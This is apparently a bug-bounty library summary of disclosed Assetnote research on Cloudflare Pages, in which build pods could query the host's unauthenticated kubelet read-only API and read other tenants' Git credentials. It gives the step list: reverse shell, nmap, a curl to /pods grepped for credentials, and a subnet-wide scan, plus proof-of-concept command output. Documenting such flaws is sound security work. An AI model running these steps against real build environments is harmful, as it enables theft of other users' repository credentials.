# Cloudflare Pages, part 3: The return of the secrets

Cloudflare Pages build pods could reach the host's unauthenticated kubelet read-only API on port 10255, dumping pod specs containing other tenants' GIT_CREDS.

- Payout: Research
- Severity: high
- Program: Cloudflare
- Write-up by: Assetnote
- Disclosed: 2024-01-31
- Write-up quality: 7/10
- Original: https://www.assetnote.io/resources/research/cloudflare-pages-part-3-the-return-of-the-secrets
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-cloudflare-pages-part-3-the-return-of-the-secrets
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:research sev:high tech:gcp tech:kubernetes technique:recon vuln:info-disclosure vuln:misconfiguration vuln:secrets-leak

**Target:** GKE kubelet read-only API (port 10255) on build host
**Root cause:** Build pods had unrestricted network access to the host, where the kubelet read-only port 10255 was exposed without authentication, serving full pod specs including environment variables with Git credentials.
**Steps:**
1. Spawn reverse shell via build script in the opt-in re-architected Pages environment
2. Read pod IP from network config and scan adjacent hosts, starting with subnet .1
3. `nmap` 10.124.165.1 shows 10255/tcp open
4. Enumerate endpoints with Kiterunner; find `/pods` on port 10255
5. `curl -v -k http://10.124.200.1:10255/pods` and grep output for CREDS, finding GIT_CREDS
6. Scan 10.124.0.0/16 for port 10255 to find other hosts serving the same pod data
**How found:** After re-architecture locked down build scripts, they pivoted to network recon: scanned the pod's subnet, found the host (.1) exposing many ports, fingerprinted services with curl, then used Kiterunner to enumerate API paths and spotted `/pods` on 10255, recognizing the kubelet read-only API.
**Exploitation:** From inside the build container, the attacker queried the unauthenticated kubelet read-only API on the host and extracted pod specs whose env vars contained Git credentials, granting read access to private repositories; scanning the /16 showed other tenants' hosts were similarly reachable.
**Escalation:** Scanned the whole 10.124.0.0/16 subnet for port 10255, showing other users'/organisations' build pods were reachable, widening the credential theft beyond the attacker's own org.
**Insight:** In container build environments, always scan the host/subnet from inside the pod: the kubelet read-only port 10255 is unauthenticated and its `/pods` output leaks env vars (credentials) of every pod on the node, including other tenants'.

## Proof of concept (copied exactly from the original report)

**Curl to kubelet /pods endpoint dumping pod details**

```
curl -v -k http://10.124.200.1:10255/pods
```

**Nmap scan of host revealing kubelet ports**

```
Scanning 10.124.165.1 [65535 ports]
Discovered open port 22/tcp on 10.124.165.1
Discovered open port 10256/tcp on 10.124.165.1
Discovered open port 10250/tcp on 10.124.165.1
Discovered open port 2020/tcp on 10.124.165.1
Discovered open port 10255/tcp on 10.124.165.1
Discovered open port 31501/tcp on 10.124.165.1
Discovered open port 2021/tcp on 10.124.165.1
‍
Completed Connect Scan at 00:06, 4.79s elapsed (65535 total ports)
‍
Nmap scan report for 10.124.165.1
Host is up, received user-set (0.0035s latency).
Scanned at 2022-01-22 00:06:18 UTC for 5s
Not shown: 65528 closed ports
Reason: 65528 conn-refused
PORT   STATE SERVICE REASON
22/tcp open  ssh syn-ack
2020/tcp  open  unknown syn-ack
2021/tcp  open  unknown syn-ack
10250/tcp open  unknown syn-ack
10255/tcp open  unknown syn-ack
10256/tcp open  unknown syn-ack
31501/tcp open  unknown syn-ack
```

**Curl to fluent-bit metrics endpoint on port 2020**

```
curl 10.124.165.1:2020 -v
curl 10.124.165.1:2020 -v
* Rebuilt URL to: 10.124.165.1:2020/
*   Trying 10.124.165.1...
* Connected to 10.124.165.1 (10.124.165.1) port 2020 (#0)
> GET / HTTP/1.1
> Host: 10.124.165.1:2020
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Monkey/1.7.0
< Date: Sat, 22 Jan 2022 00:07:02 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host 10.124.165.1 left intact
{"fluent-bit":{"version":"1.5.7","edition":"Community","flags":["FLB_HAVE_PARSER","FLB_HAVE_RECORD_ACCESSOR","FLB_HAVE_STREAM_PROCESSOR","FLB_HAVE_TLS","FLB_HAVE_AWS","FLB_HAVE_SIGNV4","FLB_HAVE_SQLDB","FLB_HAVE_METRICS","FLB_HAVE_HTTP_SERVER","FLB_HAVE_SYSTEMD","FLB_HAVE_FORK","FLB_HAVE_TIMESPEC_GET","FLB_HAVE_GMTOFF","FLB_HAVE_UNIX_SOCKET","FLB_HAVE_PROXY_GO","FLB_HAVE_SYSTEM_STRPTIME","FLB_HAVE_JEMALLOC","FLB_HAVE_LIBBACKTRACE","FLB_HAVE_REGEX","FLB_HAVE_UTF8_ENCODER","FLB_HAVE_LUAJIT","FLB_HAVE_C_TLS","FLB_HAVE_ACCEPT4","FLB_HAVE_INOTIFY"]}}
```

